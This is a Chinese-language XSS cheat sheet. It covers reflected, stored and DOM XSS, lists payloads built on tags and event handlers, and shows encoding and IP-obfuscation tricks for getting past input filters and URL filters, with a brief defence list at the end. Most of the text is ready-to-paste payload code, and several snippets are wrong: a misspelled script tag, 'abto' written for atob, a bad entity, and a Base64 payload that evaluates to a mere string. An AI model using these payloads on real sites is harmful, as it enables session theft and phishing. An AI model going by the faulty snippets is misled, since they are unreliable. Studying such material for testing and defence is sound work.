## XSS分类
反射型
把用户输入的数据从服务器反射给用户浏览器,要精心构造payload
攻击者通过电子邮件等方式,诱使用户去访问一个包含恶意xss代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。
此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
存储型
又称持久型XSS,威胁要比反射型XSS要大,存储在目标服务器中.
用户不需要点击特定的url就可与执行,攻击者事先把恶意代码上传或存储到服务器中,受害者只需点开这个含有恶意代码的页面j就会执行恶意代码,通常可以使用一些网上的xss平台.
此类XSS常出现在网站留言评论等交互处.
DOM型
DOM-Based XSS基于DOM文档对象的一种漏洞,是一种特殊类型的反射型XSS.DOM型XSS基于JS上,不需要与服务器进行交互。
常用标签
<a>标签
1 | <a href="javascript:alert('xss')">aa</a> |
<img>标签
1 | <img src=javascript:alert("xss")> |
<script>标签
1 | <scirpt>alert("xss");</script> |
<form>标签
1 | <form action=javascript:alert('xss') method="get"> |
<iframe>标签
1 | <iframe src=javascript:alert('xss');height=5width=1000 /><iframe> |
<svg>标签
1 | <svg onload=alert(1)> |
常用的on事件
1 | onchange #HTML 元素改变 |
XSS绕过
过滤空格
1 | /**/ , /符号 , |
过滤关键字
编码绕过
- HTML实体编码
以&
开头,以分号结尾的,
如<
的编码为&1t;
1 | 以&开头,以分号结尾的,如<的编码为&1t; |
- URL编码
可以考虑进行一次url编码或者二次url编码
1 | javascript:alert(1) => javascript%3Aalert%281%29 |
- Unicode编码
1 | alert("xss"); => \u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b |
- Ascii码
var n = String.fromCharCode(65)
输出 A
var n=String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59);
输出 alert("xss");
1 | <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> |
- Base64
JS中用来编码和解码base64的两个函数
abto()
base64解码
btoa()
编码为base64
1 | <img src="x" onerror="eval(atob('ImFsZXJ0KCd4c3MnKSI='))"> |
- 八进制
1 | <img src=x onerror=alert('\170\163\163')> |
- Hex
1 | <script>alert('xss')</script> => 3C7363726970743E616C657274282278737322293B3C2F7363726970743E |
过滤url
url编码
1 | <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`> |
IP绕过
- 十进制IP
1 | <img src="x" onerror=document.location=`http://2130706433/`> |
- 八进制IP
1 | <img src="x" onerror=document.location=`http://0177.0.0.01/`> |
- HEX
1 | <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`> |
- html标签中使用
//
代替http://
1 | <img src="x" onerror=document.location=`//www.baidu.com`> |
XSS防御
- 黑/白名单
- 对输出编码
- 对输入过滤
过滤一些危险字符,以及转义 || < > ' " & # 等危险字符
- HttpOnly Cookie设置
Cookie在消息头中被设置为HttpOnly,可以阻止客户端JS直接访问浏览器中的cookies,从而达到保护敏感数据的作用
限制输入内容长度
CSP(Content Security Policy)
Reference
https://xz.aliyun.com/t/4067
https://xz.aliyun.com/t/2936
https://blog.csdn.net/weixin_51356351/article/details/109690416
https://wh0ale.github.io/2019/03/19/2019-3-19-%E9%82%A3%E4%BA%9B%E5%B9%B4%E6%88%91%E4%BB%AC%E4%B8%80%E8%B5%B7%E5%AD%A6XSS/